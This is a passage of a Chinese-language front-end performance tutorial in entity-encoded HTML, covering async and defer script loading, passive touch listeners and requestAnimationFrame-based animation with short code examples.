&#x4F1A;&#x963B;&#x585E;&#x9875;&#x9762;&#x6E32;&#x67D3;&#x7684;&#x9650;&#x5236;&#x4E86;&#x3002;&#x5728;&#x9700;&#x8981;&#x8003;&#x8651;&#x6D4F;&#x89C8;&#x5668;&#x517C;&#x5BB9;&#x6027;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x63A8;&#x8350;&#x4F7F;&#x7528; <a href=\"https://github.com/filamentgroup/loadCSS\" target=\"_blank\">loadCSS</a> &#x6765;&#x5B9E;&#x73B0;&#x975E;&#x5173;&#x952E; CSS &#x7684;&#x52A0;&#x8F7D;&#x3002;</p>\n<p>&#x5BF9;&#x4E8E;&#x9996;&#x5C4F;&#x6E32;&#x67D3;&#x6240;&#x5FC5;&#x987B;&#x7684;&#x5173;&#x952E; CSS&#xFF0C;&#x53EF;&#x4EE5;&#x8003;&#x8651;&#x901A;&#x8FC7; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span><span class=\"token punctuation\">&gt;</span></span></code> &#x5185;&#x8054;&#xFF0C;&#x6216;&#x4F7F;&#x7528; HTTP/2 &#x670D;&#x52A1;&#x7AEF;&#x63A8;&#x9001;&#x7684;&#x65B9;&#x5F0F;&#x6765;&#x52A0;&#x8F7D;&#xFF0C;&#x53EF;&#x4EE5;&#x8282;&#x7701;&#x4E00;&#x6B21;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x3002;&#x8FD9;&#x91CC;&#x4E0D;&#x518D;&#x8FDB;&#x4E00;&#x6B65;&#x5C55;&#x5F00;&#x3002;</p>\n<h3 id=\"async-&#x548C;-defer\"><a name=\"async-&#x548C;-defer\" class=\"anchor-navigation-ex-anchor\" href=\"#async-&#x548C;-defer\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"async-&#x548C;-defer\" class=\"plugin-anchor\" href=\"#async-&#x548C;-defer\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>async &#x548C; defer</h3>\n<p>&#x4E0A;&#x6587;&#x63D0;&#x5230;&#xFF0C;&#x9875;&#x9762;&#x4E2D;&#x7684; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span></code> &#x4F1A;&#x963B;&#x585E;&#x540E;&#x7EED; DOM &#x7684;&#x6784;&#x5EFA;&#x3002;&#x4E3A;&#x4E86;&#x4F7F; JavaScript &#x80FD;&#x4E0E;&#x9875;&#x9762;&#x4E2D;&#x6240;&#x6709;&#x7684; DOM &#x8FDB;&#x884C;&#x4EA4;&#x4E92;&#xFF0C;&#x6700;&#x5E38;&#x89C1;&#x7684;&#x5F15;&#x5165;&#x65B9;&#x5F0F;&#x662F;&#x5C06; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span></code> &#x7F6E;&#x4E8E; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span></code> &#x7684;&#x6700;&#x5E95;&#x90E8;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE HTML&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token comment\">&lt;!-- ... --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token comment\">&lt;!-- ... --&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/dist/vendor.js<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/dist/app.js<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x7EDD;&#x5927;&#x591A;&#x6570;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x6211;&#x4EEC;&#x90FD;&#x4E0D;&#x4F1A;&#x4F7F;&#x7528;&#x5982; <code>document.write()</code> &#x8FD9;&#x6837;&#x7684;&#x65B9;&#x6CD5;&#xFF0C;&#x6240;&#x4EE5; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span></code> &#x5728;&#x9875;&#x9762;&#x4E2D;&#x7684;&#x4F4D;&#x7F6E;&#x901A;&#x5E38;&#x90FD;&#x662F;&#x65E0;&#x5173;&#x7D27;&#x8981;&#x7684;&#x3002;&#x53E6;&#x5916;&#xFF0C;JavaScript &#x53EF;&#x80FD;&#x4F1A;&#x4FEE;&#x6539;&#x6837;&#x5F0F;&#xFF0C;&#x5982;&#x679C;&#x6B64;&#x65F6; CSSOM &#x6811;&#x8FD8;&#x672A;&#x6784;&#x5EFA;&#x5B8C;&#x6210;&#xFF0C;&#x5219; JavaScript &#x7684;&#x6267;&#x884C;&#x53C8;&#x4F1A;&#x8FDB;&#x4E00;&#x6B65;&#x88AB; CSS &#x52A0;&#x8F7D;&#x6240;&#x963B;&#x585E;&#x3002;&#x9488;&#x5BF9;&#x8FD9;&#x4E9B;&#x5F0A;&#x7AEF;&#xFF0C; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span></code> &#x63D0;&#x4F9B;&#x4E86; <code>async</code> &#x548C; <code>defer</code> &#x4E24;&#x4E2A;&#x5C5E;&#x6027;&#xFF0C;&#x5B83;&#x4EEC;&#x7684;&#x7528;&#x6CD5;&#x5341;&#x5206;&#x7C7B;&#x4F3C;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE HTML&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token comment\">&lt;!-- ... --&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">async</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/dist/vendor.js<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">defer</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/dist/app.js<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token comment\">&lt;!-- ... --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token comment\">&lt;!-- ... --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x5F53;&#x6D4F;&#x89C8;&#x5668;&#x89E3;&#x6790;&#x5230; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">async</span><span class=\"token punctuation\">&gt;</span></span></code> &#x65F6;&#xFF0C;&#x4F1A;&#x5BF9;&#x8BE5; JavaScript &#x6587;&#x4EF6;&#x53D1;&#x8D77;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#x3002;&#x8BF7;&#x6C42;&#x6210;&#x529F;&#x540E;&#x624D;&#x4F1A;&#x6682;&#x505C; HTML &#x89E3;&#x6790;&#xFF0C;&#x5E76;&#x7ACB;&#x5373;&#x6267;&#x884C; JavaScript&#x3002;&#x5728;&#x5B9E;&#x9645;&#x9879;&#x76EE;&#x4E2D;&#x5BB9;&#x6613;&#x53D1;&#x73B0;&#xFF0C;&#x591A;&#x4E2A; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">async</span><span class=\"token punctuation\">&gt;</span></span></code> &#x7684;&#x6267;&#x884C;&#x987A;&#x5E8F;&#x662F;&#x4E0D;&#x786E;&#x5B9A;&#x7684;&#x3002;&#x800C;&#x4E14;&#x5728; JavaScript &#x6267;&#x884C;&#x65F6;&#xFF0C;&#x9875;&#x9762;&#x7684; DOM &#x53EF;&#x80FD;&#x8FD8;&#x672A;&#x5168;&#x90E8;&#x6784;&#x5EFA;&#x5B8C;&#x6210;&#x3002;</p>\n<p>&#x5BF9;&#x4E8E; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">defer</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6765;&#x8BF4;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x540C;&#x6837;&#x4F1A;&#x53D1;&#x8D77;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#xFF0C;&#x4F46; JavaScript &#x4F1A;&#x5EF6;&#x8FDF;&#x5230; HTML &#x89E3;&#x6790;&#x5B8C;&#x6BD5;&#x540E;&#x4F9D;&#x6B21;&#x6267;&#x884C;&#x3002;&#x6B64;&#x65F6; JavaScript &#x5DF2;&#x7ECF;&#x80FD;&#x548C;&#x5B8C;&#x6574;&#x7684; DOM &#x8FDB;&#x884C;&#x4EA4;&#x4E92;&#x4E86;&#x3002;</p>\n<p>&#x4E24;&#x8005;&#x5404;&#x6709;&#x5343;&#x79CB;&#xFF0C;&#x9009;&#x62E9; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">async</span><span class=\"token punctuation\">&gt;</span></span></code> &#x8FD8;&#x662F; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">defer</span><span class=\"token punctuation\">&gt;</span></span></code> &#x5B8C;&#x5168;&#x53D6;&#x51B3;&#x4E8E;&#x6211;&#x4EEC;&#x7684;&#x5B9E;&#x9645;&#x9700;&#x6C42;&#x3002;</p>\n<h2 id=\"&#x975E;&#x963B;&#x585E;-javascript\"><a name=\"&#x975E;&#x963B;&#x585E;-javascript\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x975E;&#x963B;&#x585E;-javascript\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x975E;&#x963B;&#x585E;-javascript\" class=\"plugin-anchor\" href=\"#&#x975E;&#x963B;&#x585E;-javascript\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x975E;&#x963B;&#x585E; JavaScript</h2>\n<p>&#x7531;&#x4E8E; JavaScript &#x4E00;&#x822C;&#x662F;&#x5355;&#x7EBF;&#x7A0B;&#x6267;&#x884C;&#x7684;&#xFF0C;&#x957F;&#x65F6;&#x95F4;&#x6267;&#x884C;&#x7684;&#x4EFB;&#x52A1;&#x4F1A;&#x963B;&#x585E;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x4E3B;&#x7EBF;&#x7A0B;&#xFF0C;&#x4F7F;&#x9875;&#x9762;&#x5931;&#x53BB;&#x54CD;&#x5E94;&#x3002;&#x5F53;&#x54CD;&#x5E94;&#x7528;&#x6237;&#x64CD;&#x4F5C;&#x7684;&#x65F6;&#x95F4;&#x8D85;&#x8FC7; 100ms &#x65F6;&#xFF0C;&#x7528;&#x6237;&#x5C31;&#x5DF2;&#x7ECF;&#x80FD;&#x5BDF;&#x89C9;&#x5230;&#x8F7B;&#x5FAE;&#x7684;&#x5EF6;&#x8FDF;&#x548C;&#x5361;&#x987F;&#x4E86;&#x3002;&#x4E3A;&#x4E86;&#x80FD;&#x5728; 100ms &#x5185;&#x5FEB;&#x901F;&#x54CD;&#x5E94;&#x7528;&#x6237;&#x7684;&#x64CD;&#x4F5C;&#xFF0C;&#x5E94;&#x5C3D;&#x91CF;&#x5728; 50ms &#x5185;&#x5904;&#x7406;&#x4E8B;&#x4EF6;&#x3002;&#x8FD9;&#x662F;&#x7531;&#x4E8E;&#x5F53;&#x524D;&#x4E8B;&#x4EF6;&#x89E6;&#x53D1;&#x65F6;&#xFF0C;&#x53EF;&#x80FD;&#x4F1A;&#x6709;&#x5176;&#x4ED6;&#x6B63;&#x5728;&#x5904;&#x7406;&#x7684;&#x4E8B;&#x4EF6;&#xFF0C;&#x963B;&#x585E;&#x4E86;&#x5F53;&#x524D;&#x4E8B;&#x4EF6;&#x7684;&#x54CD;&#x5E94;&#xFF0C;&#x9020;&#x6210;&#x9875;&#x9762;&#x5361;&#x987F;&#x3002;&#x5982;&#x679C;&#x6BCF;&#x4E2A;&#x4E8B;&#x4EF6;&#x90FD;&#x5728; 50ms &#x5185;&#x5904;&#x7406;&#x5B8C;&#xFF0C;&#x90A3;&#x4E48;&#x81F3;&#x591A;&#x53EA;&#x9700; 100ms &#x5C31;&#x80FD;&#x54CD;&#x5E94;&#x7528;&#x6237;&#x7684;&#x64CD;&#x4F5C;&#x4E86;&#x3002;&#x5982;&#x679C;&#x786E;&#x5B9E;&#x9700;&#x8981;&#x8D85;&#x8FC7; 50ms &#x624D;&#x80FD;&#x5904;&#x7406;&#x5B8C;&#x4E8B;&#x4EF6;&#xFF0C;&#x5C31;&#x5E94;&#x8BE5;&#x7ED9;&#x7528;&#x6237;&#x63D0;&#x4F9B;&#x6267;&#x884C;&#x8FDB;&#x5EA6;&#x7684;&#x53CD;&#x9988;&#x3002;</p>\n<p>&#x540C;&#x65F6;&#xFF0C;&#x7528;&#x6237;&#x5BF9;&#x4E8E;&#x4E0D;&#x6D41;&#x7545;&#x7684;&#x6EDA;&#x52A8;&#x6216;&#x52A8;&#x753B;&#x5341;&#x5206;&#x654F;&#x611F;&#xFF0C;&#x4E00;&#x822C;&#x8981;&#x6C42;&#x9875;&#x9762;&#x5E27;&#x7387;&#x5E94;&#x8FBE;&#x5230;&#x6BCF;&#x79D2; 60 &#x5E27;&#x3002;&#x5728;&#x8FD9;&#x4E2A;&#x5E27;&#x7387;&#x4E0B;&#xFF0C;&#x6BCF;&#x5E27;&#x7684;&#x6E32;&#x67D3;&#x9700;&#x8981;&#x5728; 16ms &#x5185;&#x5B8C;&#x6210;&#x3002;&#x4F46;&#x6D4F;&#x89C8;&#x5668;&#x8FD8;&#x9700;&#x8981;&#x82B1;&#x8D39;&#x5927;&#x7EA6; 6ms &#x7684;&#x65F6;&#x95F4;&#x5C06;&#x4E00;&#x5E27;&#x7ED8;&#x5236;&#x5230;&#x5C4F;&#x5E55;&#x4E0A;&#xFF0C;&#x4ECE;&#x800C;&#x53EA;&#x7ED9;&#x6211;&#x4EEC;&#x7559;&#x4E0B;&#x4E86; 10ms &#x65F6;&#x95F4;&#x751F;&#x6210;&#x4E00;&#x5E27;&#x3002;&#x7531;&#x6B64;&#x53EF;&#x89C1;&#xFF0C;&#x52A8;&#x753B;&#x5BF9;&#x4E8E;&#x5B9E;&#x65F6;&#x6027;&#x8981;&#x6C42;&#x6BD4;&#x8F83;&#x82DB;&#x523B;&#xFF0C;&#x6211;&#x4EEC;&#x5E94;&#x8BE5;&#x5C3D;&#x53EF;&#x80FD;&#x4E0D;&#x5728;&#x52A8;&#x753B;&#x4E2D;&#x8FDB;&#x884C;&#x5176;&#x4ED6;&#x8BA1;&#x7B97;&#x3002;&#x5982;&#x679C;&#x786E;&#x5B9E;&#x9700;&#x8981;&#x8BA1;&#x7B97;&#x76F8;&#x5173;&#x6570;&#x636E;&#x7684;&#xFF0C;&#x53EF;&#x4EE5;&#x5C1D;&#x8BD5;&#x5C06;&#x8FD9;&#x4E9B;&#x903B;&#x8F91;&#x79FB;&#x5230;&#x4E0A;&#x6587;&#x6240;&#x8FF0;&#x5904;&#x7406;&#x4E8B;&#x4EF6;&#x7684; 50ms &#x5185;&#x8FDB;&#x884C;&#x9884;&#x5904;&#x7406;&#x3002;</p>\n<p>&#x5F53;&#x9875;&#x9762;&#x65E0;&#x6CD5;&#x53CA;&#x65F6;&#x54CD;&#x5E94;&#x7528;&#x6237;&#x64CD;&#x4F5C;&#xFF0C;&#x6216;&#x8005;&#x5B58;&#x5728;&#x590D;&#x6742;&#x548C;&#x4F4E;&#x6548;&#x7684;&#x52A8;&#x753B;&#x65F6;&#xFF0C;&#x6700;&#x7EC8;&#x90FD;&#x4F1A;&#x4E25;&#x91CD;&#x5F71;&#x54CD;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x3002;</p>\n<h3 id=\"&#x9875;&#x9762;&#x6EDA;&#x52A8;\"><a name=\"&#x9875;&#x9762;&#x6EDA;&#x52A8;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9875;&#x9762;&#x6EDA;&#x52A8;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9875;&#x9762;&#x6EDA;&#x52A8;\" class=\"plugin-anchor\" href=\"#&#x9875;&#x9762;&#x6EDA;&#x52A8;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9875;&#x9762;&#x6EDA;&#x52A8;</h3>\n<p>&#x6700;&#x5E38;&#x89C1;&#x7684;&#x52A8;&#x753B;&#x662F;&#x7531;&#x7528;&#x6237;&#x89E6;&#x53D1;&#x7684;&#x6EDA;&#x52A8;&#x64CD;&#x4F5C;&#x3002;&#x5728;&#x79FB;&#x52A8; Web &#x5E94;&#x7528;&#x4E2D;&#xFF0C;&#x5F53;&#x6211;&#x4EEC;&#x62D6;&#x52A8;&#x5C4F;&#x5E55;&#x65F6;&#xFF0C;&#x9875;&#x9762;&#x4E00;&#x822C;&#x4F1A;&#x8DDF;&#x968F;&#x624B;&#x6307;&#x8FDB;&#x884C;&#x6EDA;&#x52A8;&#x3002;&#x4F46;&#x5F53;&#x6211;&#x4EEC;&#x76D1;&#x542C; <code>touchstart</code>&#x3001;<code>touchmove</code> &#x7B49;&#x4E8B;&#x4EF6;&#x65F6;&#xFF0C;&#x7531;&#x4E8E;&#x5408;&#x6210;&#x7EBF;&#x7A0B;&#x5E76;&#x4E0D;&#x77E5;&#x9053;&#x6211;&#x4EEC;&#x662F;&#x5426;&#x4F1A;&#x901A;&#x8FC7; <code>event.preventDefault()</code> &#x6765;&#x963B;&#x6B62;&#x9ED8;&#x8BA4;&#x7684;&#x6EDA;&#x52A8;&#x884C;&#x4E3A;&#xFF0C;&#x4ECE;&#x800C;&#x5728;&#x6BCF;&#x6B21;&#x4E8B;&#x4EF6;&#x89E6;&#x53D1;&#x65F6;&#xFF0C;&#x90FD;&#x4F1A;&#x7B49;&#x5F85;&#x4E8B;&#x4EF6;&#x5904;&#x7406;&#x51FD;&#x6570;&#x6267;&#x884C;&#x5B8C;&#x6BD5;&#x540E;&#x518D;&#x8FDB;&#x884C;&#x9875;&#x9762;&#x6EDA;&#x52A8;&#x3002;&#x8FD9;&#x901A;&#x5E38;&#x4F1A;&#x5BFC;&#x81F4;&#x8F83;&#x660E;&#x663E;&#x7684;&#x5EF6;&#x8FDF;&#xFF0C;&#x5F71;&#x54CD;&#x9875;&#x9762;&#x6EDA;&#x52A8;&#x7684;&#x6D41;&#x7545;&#x6027;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\">document<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;touchstart&apos;</span><span class=\"token punctuation\">,</span> handleTouchStart<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>passive<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5728; <code>addEventListener()</code> &#x65F6;&#x58F0;&#x660E; <code>{passive: true}</code> &#xFF0C;&#x6765;&#x8868;&#x660E;&#x4E8B;&#x4EF6;&#x5904;&#x7406;&#x51FD;&#x6570;&#x4E0D;&#x4F1A;&#x963B;&#x6B62;&#x9875;&#x9762;&#x6EDA;&#x52A8;&#xFF0C;&#x4F7F;&#x5F97;&#x7528;&#x6237;&#x7684;&#x64CD;&#x4F5C;&#x66F4;&#x5FEB;&#x5F97;&#x5230;&#x54CD;&#x5E94;&#x3002;</p>\n<h3 id=\"requestanimationframe\"><a name=\"requestanimationframe\" class=\"anchor-navigation-ex-anchor\" href=\"#requestanimationframe\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"requestanimationframe\" class=\"plugin-anchor\" href=\"#requestanimationframe\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>requestAnimationFrame</h3>\n<p>JavaScript &#x53EF;&#x4EE5;&#x8FDB;&#x884C;&#x6837;&#x5F0F;&#x66F4;&#x65B0;&#xFF0C;&#x800C;&#x52A8;&#x753B;&#x5219;&#x662F;&#x4EE5; 16ms &#x4E3A;&#x95F4;&#x9694;&#x7684;&#x4E00;&#x8FDE;&#x4E32;&#x7684;&#x6837;&#x5F0F;&#x66F4;&#x65B0;&#x7EC4;&#x6210;&#x3002;&#x6700;&#x76F4;&#x63A5;&#x7684;&#x60F3;&#x6CD5;&#x662F;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>setInterval()</code> &#x6216;&#x9012;&#x5F52;&#x8C03;&#x7528; <code>setTimeout()</code> &#x6765;&#x7F16;&#x5199;&#x52A8;&#x753B;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">render</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  element<span class=\"token punctuation\">.</span>style<span class=\"token punctuation\">.</span>top <span class=\"token operator\">=</span> element<span class=\"token punctuation\">.</span>offsetTop <span class=\"token operator\">+</span> <span class=\"token number\">1</span> <span class=\"token operator\">+</span> <span class=\"token string\">&apos;px&apos;</span>\n  element<span class=\"token punctuation\">.</span>style<span class=\"token punctuation\">.</span>left <span class=\"token operator\">=</span> element<span class=\"token punctuation\">.</span>offsetLeft <span class=\"token operator\">+</span> <span class=\"token number\">1</span> <span class=\"token operator\">+</span> <span class=\"token string\">&apos;px&apos;</span>\n  <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span>render<span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span>render<span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4E0A;&#x8FF0;&#x4EE3;&#x7801;&#x5B9E;&#x73B0;&#x4E86;&#x4E00;&#x4E2A;&#x6027;&#x80FD;&#x975E;&#x5E38;&#x5DEE;&#x52B2;&#x7684;&#x52A8;&#x753B;&#xFF0C;&#x5176;&#x6548;&#x679C;&#x662F;&#x4F7F;&#x4E00;&#x4E2A;&#x7EDD;&#x5BF9;&#x5B9A;&#x4F4D;&#x7684;&#x5143;&#x7D20;&#xFF0C;&#x4ECE;&#x9875;&#x9762;&#x5DE6;&#x4E0A;&#x81F3;&#x53F3;&#x4E0B;&#x6F02;&#x6D6E;&#x3002;&#x4F46;&#x6211;&#x4EEC;&#x7528;&#x8089;&#x773C;&#x5C31;&#x80FD;&#x53D1;&#x73B0;&#xFF0C;&#x52A8;&#x753B;&#x4EA7;&#x751F;&#x4E86;&#x5361;&#x987F;&#x548C;&#x6389;&#x5E27;&#x7684;&#x73B0;&#x8C61;&#x3002;&#x8FD9;&#x662F;&#x7531;&#x4E8E; <code>setTimeout</code> &#x548C; <code>setInterval</code> &#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4F1A;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x6E32;&#x67D3;&#x4E24;&#x5E27;&#x4E4B;&#x95F4;&#x7684;&#x4EFB;&#x4F55;&#x65F6;&#x95F4;&#x70B9;&#x6267;&#x884C;&#xFF0C;&#x800C;&#x5B9A;&#x65F6;&#x5668;&#x7684; 16ms &#x53C8;&#x4E0D;&#x662F;&#x7279;&#x522B;&#x7CBE;&#x786E;&#xFF0C;&#x4ECE;&#x800C;&#x6709;&#x53EF;&#x80FD;&#x4F7F;&#x4E00;&#x6B21;&#x6837;&#x5F0F;&#x53D8;&#x66F4;&#x9519;&#x8FC7;&#x6D4F;&#x89C8;&#x5668;&#x6E32;&#x67D3;&#x3002;</p>\n<p>&#x4E3A;&#x4E86;&#x5B9E;&#x73B0;&#x5E73;&#x6ED1;&#x6D41;&#x7545;&#x7684;&#x52A8;&#x753B;&#x6548;&#x679C;&#xFF0C;&#x6211;&#x4EEC;&#x5E94;&#x8BE5;&#x4F7F;&#x7528; <code>requestAnimationFrame()</code> &#x65B9;&#x6CD5;&#x6765;&#x4EE3;&#x66FF;&#x5B9A;&#x65F6;&#x5668;&#xFF0C;<code>requestAnimationFrame()</code> &#x65B9;&#x6CD5;&#x63A5;&#x6536;&#x4E00;&#x4E2A;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4E3A;&#x53C2;&#x6570;&#xFF0C;&#x5176;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4E0D;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x4E8B;&#x4EF6;&#x5FAA;&#x73AF;&#x4E2D;&#x8C03;&#x5EA6;&#xFF0C;&#x800C;&#x662F;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x6E32;&#x67D3;&#x4E0B;&#x4E00;&#x5E27;&#x4E4B;&#x524D;&#x6267;&#x884C;&#xFF0C;&#x8FD9;&#x53EF;&#x4EE5;&#x786E;&#x4FDD;&#x52A8;&#x753B;&#x4E0D;&#x4F1A;&#x6389;&#x5E27;&#x3002;<code>requestAnimationFrame</code> &#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x63A5;&#x6536;&#x4E00;&#x4E2A;&#x9AD8;&#x7CBE;&#x5EA6;&#x65F6;&#x95F4;&#x6233; <code>timestamp</code>&#xFF0C;&#x7C7B;&#x4F3C;&#x4E8E; <code>performance.now()</code> &#x7684;&#x8FD4;&#x56DE;&#x503C;&#xFF0C;&#x4EE3;&#x8868;&#x56DE;&#x8C03;&#x88AB;&#x6267;&#x884C;&#x7684;&#x7CBE;&#x786E;&#x65F6;&#x95F4;&#xFF0C;&#x5176;&#x7528;&#x6CD5;&#x901A;&#x5E38;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">render</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">timestamp</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x6267;&#x884C;&#x6E32;&#x67D3;&#x7684;&#x5177;&#x4F53;&#x903B;&#x8F91;</span>\n  <span class=\"token comment\">// ...</span>\n  <span class=\"token function\">requestAnimationFrame</span><span class=\"token punctuation\">(</span>render<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token function\">requestAnimationFrame</span><span class=\"token punctuation\">(</span>render<span class=\"token 